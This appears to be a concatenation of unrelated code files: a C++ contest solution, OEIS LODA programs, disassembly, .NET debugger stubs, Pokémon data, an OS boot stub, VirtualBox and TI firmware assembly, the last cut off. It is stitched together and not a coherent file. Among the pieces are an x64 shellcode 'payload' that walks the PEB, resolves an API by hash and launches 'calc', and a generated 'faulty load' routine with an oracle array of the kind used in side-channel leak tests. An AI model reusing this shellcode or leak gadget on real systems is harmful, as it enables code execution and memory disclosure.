#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef pair<int, int> ii; typedef vector<int> vi; typedef vector<ii> vii; const int INF = 1e9; const long long LLINF = 4e18; const double EPS = 1e-9; int reserves[22]; int main() { ios::sync_with_stdio(false); int b, n, from, to, value; while (~scanf("%d%d", &b, &n) && n + b) { for (int i = 1; i <= b; ++ i) scanf("%d", &reserves[i]); for (int i = 1; i <= n; ++ i) { scanf("%d%d%d", &from, &to, &value); reserves[from] -= value; reserves[to] += value; } int flag = 1; for (int i = 1; i <= b; ++ i) { if (reserves[i] < 0) { flag = 0; break; } } if (flag) puts("S"); else puts("N"); } return 0; }
; A127944: Partial sums of A093049. ; 0,0,0,2,3,7,11,17,21,29,37,47,56,68,80,94,105,121,137,155,172,192,212,234,254,278,302,328,353,381,409,439,465,497,529,563,596,632,668,706,742,782,822,864,905,949,993,1039,1082,1130,1178,1228,1277,1329,1381,1435,1487,1543,1599,1657,1714,1774,1834,1896,1953,2017,2081,2147,2212,2280,2348,2418,2486,2558,2630,2704,2777,2853,2929,3007,3082,3162,3242,3324,3405,3489,3573,3659,3743,3831,3919,4009,4098,4190,4282,4376,4466,4562,4658,4756,4853,4953,5053,5155,5255,5359,5463,5569,5674,5782,5890,6000,6107,6219,6331,6445,6558,6674,6790,6908,7024,7144,7264,7386,7507,7631,7755,7881,8001,8129,8257,8387,8516,8648,8780,8914,9046,9182,9318,9456,9593,9733,9873,10015,10154,10298,10442,10588,10733,10881,11029,11179,11327,11479,11631,11785,11938,12094,12250,12408,12562,12722,12882,13044,13205,13369,13533,13699,13863,14031,14199,14369,14538,14710,14882,15056,15227,15403,15579,15757,15934,16114,16294,16476,16656,16840,17024,17210,17395,17583,17771,17961,18146,18338,18530,18724,18917,19113,19309,19507,19703,19903,20103,20305,20506,20710,20914,21120,21323,21531,21739,21949,22158,22370,22582,22796,23008,23224,23440,23658,23875,24095,24315,24537,24755,24979,25203,25429,25654,25882,26110,26340,26568,26800,27032,27266,27499,27735,27971,28209,28444,28684,28924,29166,29407,29651,29895,30141,30385,30633 mov $1,$0 bin $1,2 lpb $0,1 div $0,2 sub $1,$0 lpe
10008a30: 8b 44 24 04 mov eax,DWORD PTR [esp+0x4] 10008a34: 8b 48 3c mov ecx,DWORD PTR [eax+0x3c] 10008a37: 03 c8 add ecx,eax 10008a39: 0f b7 41 14 movzx eax,WORD PTR [ecx+0x14] 10008a3d: 53 push ebx 10008a3e: 56 push esi 10008a3f: 0f b7 71 06 movzx esi,WORD PTR [ecx+0x6] 10008a43: 33 d2 xor edx,edx 10008a45: 85 f6 test esi,esi 10008a47: 57 push edi 10008a48: 8d 44 08 18 lea eax,[eax+ecx*1+0x18] 10008a4c: 76 1e jbe 0x10008a6c 10008a4e: 8b 7c 24 14 mov edi,DWORD PTR [esp+0x14] 10008a52: 8b 48 0c mov ecx,DWORD PTR [eax+0xc] 10008a55: 3b f9 cmp edi,ecx 10008a57: 72 09 jb 0x10008a62 10008a59: 8b 58 08 mov ebx,DWORD PTR [eax+0x8] 10008a5c: 03 d9 add ebx,ecx 10008a5e: 3b fb cmp edi,ebx 10008a60: 72 0c jb 0x10008a6e 10008a62: 83 c2 01 add edx,0x1 10008a65: 83 c0 28 add eax,0x28 10008a68: 3b d6 cmp edx,esi 10008a6a: 72 e6 jb 0x10008a52 10008a6c: 33 c0 xor eax,eax 10008a6e: 5f pop edi 10008a6f: 5e pop esi 10008a70: 5b pop ebx 10008a71: c3 ret 10008a72: cc int3 10008a73: cc int3 10008a74: cc int3 10008a75: cc int3 10008a76: cc int3 10008a77: cc int3 10008a78: cc int3 10008a79: cc int3 10008a7a: cc int3 10008a7b: cc int3 10008a7c: cc int3 10008a7d: cc int3 10008a7e: cc int3 10008a7f: cc int3
; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ; See the LICENSE file in the project root for more information. #include "ksarm.h" #include "asmconstants.h" IMPORT FuncEvalHijackWorker IMPORT FuncEvalHijackPersonalityRoutine IMPORT ExceptionHijackWorker IMPORT ExceptionHijackPersonalityRoutine EXPORT ExceptionHijackEnd MACRO CHECK_STACK_ALIGNMENT #ifdef _DEBUG push {r0} add r0, sp, #4 tst r0, #7 pop {r0} beq %0 EMIT_BREAKPOINT 0 #endif MEND TEXTAREA ; ; hijacking stub used to perform a func-eval, see Debugger::FuncEvalSetup() for use. ; ; on entry: ; r0 : pointer to DebuggerEval object ; NESTED_ENTRY FuncEvalHijack,,FuncEvalHijackPersonalityRoutine ; NOTE: FuncEvalHijackPersonalityRoutine is dependent on the stack layout so if ; you change the prolog you will also need to update the personality routine. ; push arg to the stack so our personality routine can find it ; push lr to get good stacktrace in debugger PROLOG_PUSH {r0,lr} CHECK_STACK_ALIGNMENT ; FuncEvalHijackWorker returns the address we should jump to. bl FuncEvalHijackWorker ; effective NOP to terminate unwind mov r2, r2 EPILOG_STACK_FREE 8 EPILOG_BRANCH_REG r0 NESTED_END FuncEvalHijack ; ; This is the general purpose hijacking stub. DacDbiInterfaceImpl::Hijack() will ; set the registers with the appropriate parameters from out-of-process. ; ; on entry: ; r0 : pointer to CONTEXT ; r1 : pointer to EXCEPTION_RECORD ; r2 : EHijackReason ; r3 : void* pdata ; NESTED_ENTRY ExceptionHijack,,ExceptionHijackPersonalityRoutine CHECK_STACK_ALIGNMENT ; make the call bl ExceptionHijackWorker ; effective NOP to terminate unwind mov r3, r3 ; *** should never get here *** EMIT_BREAKPOINT ; exported label so the debugger knows where the end of this function is ExceptionHijackEnd NESTED_END ; must be at end of file END
Name: zel_sut1.asm Type: file Size: 67203 Last-Modified: '2016-05-13T04:22:15Z' SHA-1: EC74D956A544DE4AC0058BD1F3142094A50C254E Description: null
db 0 ; species ID placeholder db 65, 100, 50, 120, 50, 70 ; hp atk def spd sat sdf db GROUND, GROUND ; type db 50 ; catch rate db 153 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/dugtrio/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_GROUND, EGG_GROUND ; egg groups ; tm/hm learnset tmhm CURSE, TOXIC, ROCK_SMASH, SUNNY_DAY, STONE_EDGE, SNORE, HYPER_BEAM, PROTECT, EARTHQUAKE, RETURN, DIG, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SLUDGE_BOMB, PURSUIT, REST, ATTRACT, THIEF, CUT ; end
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r14 push %rax push %rcx push %rdi push %rsi lea addresses_D_ht+0xfff, %rcx sub $20661, %r13 mov (%rcx), %eax nop nop nop add $33962, %r14 lea addresses_UC_ht+0xf45f, %r13 nop nop nop add $19448, %rax mov $0x6162636465666768, %r10 movq %r10, %xmm0 and $0xffffffffffffffc0, %r13 vmovaps %ymm0, (%r13) nop nop nop cmp %rax, %rax lea addresses_normal_ht+0x3153, %rsi lea addresses_D_ht+0x1405f, %rdi nop nop nop mfence mov $81, %rcx rep movsw nop sub $3074, %r10 lea addresses_normal_ht+0x1d5c7, %r12 nop and $22206, %r13 mov $0x6162636465666768, %rsi movq %rsi, %xmm3 vmovups %ymm3, (%r12) nop nop nop nop nop xor %r14, %r14 lea addresses_WT_ht+0x105f, %r13 nop nop add %rax, %rax and $0xffffffffffffffc0, %r13 movaps (%r13), %xmm4 vpextrq $1, %xmm4, %rcx nop cmp $5063, %r13 lea addresses_normal_ht+0x107df, %rsi nop nop nop nop sub %rdi, %rdi vmovups (%rsi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r12 nop nop nop dec %r14 lea addresses_D_ht+0xc407, %rsi lea addresses_A_ht+0x1a697, %rdi add %r13, %r13 mov $61, %rcx rep movsw xor $44670, %rax lea addresses_normal_ht+0x17fd3, %r12 nop nop xor $29834, %r10 mov $0x6162636465666768, %r13 movq %r13, (%r12) add $46123, %r10 lea addresses_WT_ht+0x47e3, %rsi lea addresses_normal_ht+0x13c5f, %rdi and $60980, %r14 mov $55, %rcx rep movsq nop nop cmp %rdi, %rdi lea addresses_normal_ht+0x645f, %r10 nop nop nop inc %r12 movb $0x61, (%r10) nop nop xor %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rax pop %r14 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r9 push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0x17bdf, %rsi lea addresses_D+0x7e5f, %rdi nop and $41709, %r11 mov $21, %rcx rep movsb cmp $46309, %rdi // Store lea addresses_PSE+0x16ba3, %rcx nop nop nop nop nop sub $36994, %r11 mov $0x5152535455565758, %rsi movq %rsi, %xmm1 movups %xmm1, (%rcx) nop nop nop nop nop and %rdi, %rdi // Faulty Load lea addresses_WT+0xe45f, %r11 nop nop nop nop xor $25471, %rcx movb (%r11), %r9b lea oracles, %rcx and $0xff, %r9 shlq $12, %r9 mov (%rcx,%r9,1), %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 10, 'size': 16, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}} {'00': 5} 00 00 00 00 00 */
BITS 32 global __init:function global vmemOffset:data global initStackEnd:data global excStackStart:data global PML4T:data global PDPT:data global gdtr:data global nxEnabled:data ;extern VMEM_OFFSET extern BSS_END_ADDR extern DATA_END_ADDR extern TEXT_END_ADDR extern init64 VMEM_OFFSET equ 0xFFFFFFFF80000000 INITSTACKSIZE equ 0x400 MULTIBOOT_MAGIC equ 0x1BADB002 MULTIBOOT_FLAGS equ (1 << 16) | (1 << 1) | (1 << 2) MULTIBOOT_CHECKSUM equ -(MULTIBOOT_MAGIC + MULTIBOOT_FLAGS) MULTIBOOT_HEADER_PADDR equ multiBootHeader PAGESIZE equ 0x1000 LARGE_PAGE_SIZE_2 equ 0x200000 PAGEFLAGS equ 0x003 PDEFLAGS equ 0x183 SECTION multiboot multiBootHeader: .magic: dd MULTIBOOT_MAGIC .flags: dd MULTIBOOT_FLAGS .checksum: dd MULTIBOOT_CHECKSUM .headerAddr: dd MULTIBOOT_HEADER_PADDR .loadAddr: dd MULTIBOOT_HEADER_PADDR ;.loadEndAddr: dd 0 ;Load all .loadEndAddr: dd (DATA_END_ADDR - VMEM_OFFSET) .bssEnd: dd (BSS_END_ADDR - VMEM_OFFSET) .entryAddr: dd __init ;vbe info .modeType: dd 0 .width: dd 0 .height: dd 0 .depth: dd 0 SECTION boottext __init: xchg bx, bx cmp eax, 0x2BADB002 jne .noMultiBoot mov edx, 1 jmp .L0 .noMultiBoot: xor edx, edx .L0: mov [(multiBootInfo - VMEM_OFFSET)], ebx mov ax, 0x10 cld ;setup temporary 32 bit gdt lgdt [gdtrPhys] ;load segment registers mov ds, ax mov es, ax mov ss, ax mov fs, ax mov gs, ax ;setup esp mov esp, (initStackEnd - VMEM_OFFSET) mov ebp, (initStackEnd - VMEM_OFFSET) jmp 0x18:(.cont) .cont: or edx, edx jnz .L1 mov esi, noMultiBootMsg jmp bootError .L1: call detectCPUID call detectLongMode ;long mode is detected, now we can setup paging ;detect nx bit mov eax, 0x80000001 cpuid test edx, (1 << 20) ;test nx bit in cpuid je .noNX mov [nxEnabled - VMEM_OFFSET], byte 1 .noNX: ;setup pml4t ;add entry pointing to itself ;mov [PML4T + (510 * 8)], ((PML4T) + PAGEFLAGS) mov eax, [PML4TEntryToItself] mov edx, [PML4TEntryToItself + 4] mov [(PML4T - VMEM_OFFSET) + (510 * 8)], eax mov [(PML4T - VMEM_OFFSET) + (510 * 8) + 4], edx ;add entry pointing to kernel ;mov [PML4T + (511 * 8)], ((PDPT) + PAGEFLAGS) mov eax, [PML4TEntryToKernel] mov edx, [PML4TEntryToKernel + 4] mov [(PML4T - VMEM_OFFSET) + (511 * 8)], eax mov [(PML4T - VMEM_OFFSET) + (511 * 8) + 4], edx ;also add temporary entry at bottom to prevent page fault at switch ;mov [PML4T], ((PDPT) + PAGEFLAGS) mov [(PML4T - VMEM_OFFSET)], eax mov [(PML4T - VMEM_OFFSET) + 4], edx ;add entry to PDPT ;mov [PDPT], ((PDT) + PAGEFLAGS) mov eax, [PDPTEntry] mov edx, [PDPTEntry + 4] mov [(PDPT - VMEM_OFFSET) + (510 * 8)], eax mov [(PDPT - VMEM_OFFSET) + (510 * 8) + 4], edx ;also add temporary entry at bottom mov [(PDPT - VMEM_OFFSET)], eax mov [(PDPT - VMEM_OFFSET) + 4], edx ;now fill PDT mov eax, PDEFLAGS ;entry low dword xor edx, edx ;entry high dword mov edi, (PDT - VMEM_OFFSET) .L2: cmp eax, (BSS_END_ADDR - VMEM_OFFSET + PAGEFLAGS) jae .L3 cmp eax, (TEXT_END_ADDR - VMEM_OFFSET + PAGEFLAGS) jb .L4 cmp [nxEnabled - VMEM_OFFSET], byte 0 je .L4 or edx, 0x80000000 ;set NX bit .L4: mov [edi], eax mov [edi+4], edx add edi, 8 add eax, LARGE_PAGE_SIZE_2 ;dec ecx jmp .L2 .L3: ;now enable pae mov eax, cr4 or eax, (1 << 5) mov cr4, eax ;add pointer in cr3 to pml4t mov eax, (PML4T - VMEM_OFFSET) mov cr3, eax ;now enable longmode mov ecx, 0xC0000080 ;EFER register rdmsr or eax, (1 << 8) | (1 << 0) ;set LME + SCE bit cmp [nxEnabled - VMEM_OFFSET], byte 0 je .noNX2 or eax, (1 << 11) ;set NX bit .noNX2: wrmsr ;load multibootinfo ptr in edi mov edi, [multiBootInfo - VMEM_OFFSET] ;enable paging mov eax, cr0 or eax, (1 << 31) mov cr0, eax ;instruction following this must be a branch ;now jump to 64 bit (in another file) ;jmp far dword [jumpVect] jmp 0x08:(init64 - VMEM_OFFSET) detectLongMode: mov eax, 0x80000000 cpuid cmp eax, 0x80000001 jb .noLongMode mov eax, 0x80000001 cpuid test edx, 1 << 29 jz .noLongMode repz ret .noLongMode: mov esi, noLongModeMsg jmp bootError detectCPUID: ;returns 0 if cpuid is not detected pushfd mov edx, [esp] ;copy flags in edx ;flip ID bit xor [esp], dword (1 << 21) popfd pushfd pop eax ;restore flags push edx popfd xor eax, edx ;returns zero if ID stays the same jnz .CPUIDPresent mov esi, noCPUIDMsg jmp bootError .CPUIDPresent: nop ret bootError: ;message in esi mov edi, 0xB8000 .loop: lodsb or al, al jz .halt stosb mov al, 0x4F stosb jmp .loop .halt: hlt jmp .halt SECTION bootdata PML4TEntryToItself: dq ((PML4T - VMEM_OFFSET) + PAGEFLAGS) PML4TEntryToKernel: dq ((PDPT - VMEM_OFFSET) + PAGEFLAGS) PDPTEntry: dq ((PDT - VMEM_OFFSET) + PAGEFLAGS) gdtrPhys: dw (gdtEnd - gdt) dd gdt gdtr: dw (gdtEnd - gdt) dq gdt + VMEM_OFFSET gdt: ;entry 0x00: dummy dq 0 ;entry 0x08: 64 bit kernel text dw 0xFFFF ;limit 00:15 dw 0x0000 ;base 00:15 db 0x00 ;base 16:23 db 0x98 ;Access byte: present, ring 0 db 0x2F ;flags & limit 16:19: 64-bit db 0x00 ;base 24:31 ;entry 0x10: data dw 0xFFFF ;limit 00:15 dw 0x0000 ;base 00:15 db 0x00 ;base 16:23 db 0x92 ;Access byte: present, ring 0, readable db 0xCF ;flags & limit 16:19: 4kb granularity, 32 bit db 0x00 ;base 24:31 ;entry 0x18: boottext dw 0xFFFF ;limit 00:15 dw 0x0000 ;base 00:15 db 0x00 ;base 16:23 db 0x9A ;Access byte: present, ring 0, executable, readable db 0xCF ;flags & limit 16:19: 4kb granularity, 32 bit db 0x00 ;base 24:31 gdtEnd: noMultiBootMsg: db 'Invalid bootloader detected, please boot this operating system from a multiboot compliant bootloader (like GRUB)', 0 noCPUIDMsg: db 'No CPUID detected, please run this operating system on a 64 bit machine!', 0 noLongModeMsg: db 'This operating system requires a 64 bit CPU.', 0 SECTION .data nxEnabled: dd 0 SECTION .bss align=4096 nobits PML4T: resb PAGESIZE PDPT: resb PAGESIZE PDT: resb PAGESIZE ;Use PSE for kernel static memory excStackStart: resb PAGESIZE initStackEnd: multiBootInfo: resq 1
; A099443: A Chebyshev transform of Fib(n+1). ; 1,1,1,1,0,-1,-1,-1,-1,0,1,1,1,1,0,-1,-1,-1,-1,0,1,1,1,1,0,-1,-1,-1,-1,0,1,1,1,1,0,-1,-1,-1,-1,0,1,1,1,1,0,-1,-1,-1,-1,0,1,1,1,1,0,-1,-1,-1,-1,0,1,1,1,1,0,-1,-1,-1,-1,0,1,1,1,1,0,-1,-1,-1,-1,0,1,1,1,1,0,-1,-1,-1,-1,0,1,1,1,1,0,-1,-1,-1,-1,0 add $0,1 seq $0,163812 ; Expansion of (1 - x^5) * (1 - x^6) / ((1 - x) * (1 - x^10)) in powers of x.
; A083402: Let A_n be the upper triangular matrix in the group GL(n,2) that has zero entries below the main diagonal and 1 elsewhere; a(n) is the size of the conjugacy class of this matrix in GL(n,2). ; Submitted by Jamie Morken(s4) ; 1,3,42,2520,624960,629959680,2560156139520,41781748196966400,2732860586067178291200,715703393163961188325785600,750102961052993818881476159078400,3145391744524297920839316348340273152000,52764474940208177704130232748554603290689536000,3540747849504483636538431910377758989153757873307648000,950433257756372298288781708552995051909948901250430582915072000,1020504367875094258783933387080016375429832724372635127829942165831680000 mov $2,1 mov $3,2 mov $4,1 lpb $0 sub $0,1 add $3,$2 mul $2,2 mul $4,$3 mul $3,4 lpe mov $0,$4
.code public payload payload: int 3 push rax push rbx push rcx push rdx push rbp push rsi push rdi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 mov r11,rsp sub rsp,010h sub rsp,070h sub rsp,070h and sp,0fff0h mov eax,0636c6163h mov dword ptr [rsp], eax mov byte ptr [rsp+4], 00h xor eax,eax mov qword ptr [r11+8],rbx lea rdi,[r11-78h] mov qword ptr [r11+10h],rsi mov ecx,68h xor ebp,ebp rep stos byte ptr [rdi] mov byte ptr [rsp+70h],68h mov eax,060h mov rax,qword ptr gs:[eax] mov rcx,qword ptr [rax+18h] mov r8,qword ptr [rcx+10h] mov rdi,qword ptr [r8+60h] mov r9,rdi _00007ff6559b1047: test rdi,rdi je _00007ff6559b107c movzx ecx,word ptr [rdi] mov eax,1505h mov edx,ebp test cx,cx je _00007ff6559b107c nop dword ptr [rax+rax] _00007ff6559b1060: movzx ecx,cx inc edx imul eax,eax,21h add eax,ecx mov ecx,edx movzx ecx,word ptr [rdi+rdx*2] test cx,cx jne _00007ff6559b1060 cmp eax,6DDB9555h je _00007ff6559b10ae _00007ff6559b107c: mov r8,qword ptr [r8] mov rdi,qword ptr [r8+60h] cmp rdi,r9 jne _00007ff6559b1047 _00007ff6559b1088: mov eax,1 _00007ff6559b108d: lea rsp,[rsp+070h] add rsp,070h add rsp,018h pop r15 pop r14 pop r13 pop r12 pop r11 pop r9 pop r8 pop rdi pop rsi pop rbp pop rdx pop rcx pop rbx pop rax ret _00007ff6559b10ae: mov r10,qword ptr [r8+30h] test r10,r10 je _00007ff6559b1088 movsxd rax,dword ptr [r10+3Ch] lea rcx,[rax+r10] add rcx,070h add rcx,018h mov ecx,dword ptr [rcx] test ecx,ecx je _00007ff6559b1088 mov r9d,dword ptr [r10+rcx+20h] lea rax,[r10+rcx] mov ebx,dword ptr [rax+24h] add r9,r10 mov esi,dword ptr [rax+1Ch] add rbx,r10 mov r11d,dword ptr [rax+18h] add rsi,r10 mov r8d,ebp test r11d,r11d je _00007ff6559b1088 nop dword ptr [rax+rax] _00007ff6559b10f0: mov edi,dword ptr [r9] mov ecx,1505h add rdi,r10 mov edx,ebp movzx eax,byte ptr [rdi] test al,al je _00007ff6559b1120 _00007ff6559b1104: movsx eax,al inc edx imul ecx,ecx,21h add ecx,eax mov eax,edx movzx eax,byte ptr [rdx+rdi] test al,al jne _00007ff6559b1104 push rax mov rax, rcx cmp eax, 0AEB52E19h pop rax ;cmp ecx,0AEB52E19h je _00007ff6559b1131 _00007ff6559b1120: inc r8d add r9,4 cmp r8d,r11d jb _00007ff6559b10f0 jmp _00007ff6559b1088 _00007ff6559b1131: mov eax,r8d movzx ecx,word ptr [rbx+rax*2] mov eax,dword ptr [rsi+rcx*4] add rax,r10 je _00007ff6559b1088 lea rcx,[rsp+010h] xor r9d,r9d mov qword ptr [rsp+48h],rcx lea rdx,[rsp] lea rcx,[rsp+70h] add rcx,10h xor r8d,r8d mov qword ptr [rsp+40h],rcx xor ecx,ecx mov qword ptr [rsp+38h],rbp mov qword ptr [rsp+30h],rbp mov dword ptr [rsp+28h],ebp mov dword ptr [rsp+20h],ebp call rax xor eax,eax jmp _00007ff6559b108d end
; $Id: ASMAtomicCmpXchgExU64.asm $ ;; @file ; IPRT - ASMAtomicCmpXchgExU64(). ; ; ; Copyright (C) 2006-2015 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ; The contents of this file may alternatively be used under the terms ; of the Common Development and Distribution License Version 1.0 ; (CDDL) only, as it comes in the "COPYING.CDDL" file of the ; VirtualBox OSE distribution, in which case the provisions of the ; CDDL are applicable instead of those of the GPL. ; ; You may elect to license modified versions of this file under the ; terms and conditions of either the GPL or the CDDL or both. ; ;******************************************************************************* ;* Header Files * ;******************************************************************************* %include "iprt/asmdefs.mac" BEGINCODE ;; ; Atomically Exchange an unsigned 64-bit value, ordered. ; ; @param pu64 x86:ebp+8 gcc:rdi msc:rcx ; @param u64New x86:ebp+c gcc:rsi msc:rdx ; @param u64Old x86:ebp+14 gcc:rdx msc:r8 ; @param pu64Old x86:ebp+1c gcc:rcx msc:r9 ; ; @returns bool result: true if successfully exchanged, false if not. ; x86:al ; BEGINPROC_EXPORTED ASMAtomicCmpXchgExU64 %ifdef RT_ARCH_AMD64 %ifdef ASM_CALL64_MSC mov rax, r8 lock cmpxchg [rcx], rdx mov [r9], rax %else mov rax, rdx lock cmpxchg [rdi], rsi mov [rcx], rax %endif setz al movzx eax, al ret %endif %ifdef RT_ARCH_X86 push ebp mov ebp, esp push ebx push edi mov ebx, dword [ebp+0ch] mov ecx, dword [ebp+0ch + 4] mov edi, [ebp+08h] mov eax, dword [ebp+14h] mov edx, dword [ebp+14h + 4] lock cmpxchg8b [edi] mov edi, [ebp + 1ch] mov [edi], eax mov [edi + 4], edx setz al movzx eax, al pop edi pop ebx leave ret %endif ENDPROC ASMAtomicCmpXchgExU64
;------------------------------------------------------------------------------- ; HL_sys_mpu.asm ; ; Copyright (C) 2009-2018 Texas Instruments Incorporated - www.ti.com ; ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; ; Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the ; distribution. ; ; Neither the name of Texas Instruments Incorporated nor the names of ; its contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ; ; .text .arm ;------------------------------------------------------------------------------- ; Initalize Mpu ; SourceId : MPU_SourceId_001 ; DesignId : MPU_DesignId_001 ; Requirements : HL_CONQ_MPU_SR3 .def _mpuInit_ .asmfunc _mpuInit_ ; Disable mpu mrc p15, #0, r0, c1, c0, #0 bic r0, r0, #1 dsb mcr p15, #0, r0, c1, c0, #0 isb ; Disable background region mrc p15, #0, r0, c1, c0, #0 bic r0, r0, #0x20000 mcr p15, #0, r0, c1, c0, #0 ; Setup region 1 mov r0, #0 mcr p15, #0, r0, c6, c2, #0 ldr r0, r1Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0002 orr r0, r0, #0x1000 mcr p15, #0, r0, c6, c1, #4 movw r0, #((1 << 15) + (1 << 14) + (1 << 13) + (1 << 12) + (1 << 11) + (1 << 10) + (1 << 9) + (1 << 8) + (0x1F << 1) + (1)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 2 mov r0, #1 mcr p15, #0, r0, c6, c2, #0 ldr r0, r2Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0002 orr r0, r0, #0x0600 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x15 << 1) + (1)) mcr p15, #0, r0, c6, c1, #2 ; Setup region mov r0, #2 mcr p15, #0, r0, c6, c2, #0 ldr r0, r3Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x000B orr r0, r0, #0x1300 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x12 << 1) + (1)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 4 mov r0, #3 mcr p15, #0, r0, c6, c2, #0 ldr r0, r4Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0010 orr r0, r0, #0x1300 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (1 << 10) + (1 << 9) + (1 << 8) + (0x1A << 1) + (1)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 5 mov r0, #4 mcr p15, #0, r0, c6, c2, #0 ldr r0, r5Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0000 orr r0, r0, #0x0300 mcr p15, #0, r0, c6, c1, #4 movw r0, #((1 << 15) + (1 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x1B << 1) + (1)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 6 mov r0, #5 mcr p15, #0, r0, c6, c2, #0 ldr r0, r6Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0006 orr r0, r0, #0x0300 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x1A << 1) + (1)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 7 mov r0, #6 mcr p15, #0, r0, c6, c2, #0 ldr r0, r7Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0008 orr r0, r0, #0x1200 mcr p15, #0, r0, c6, c1, #4 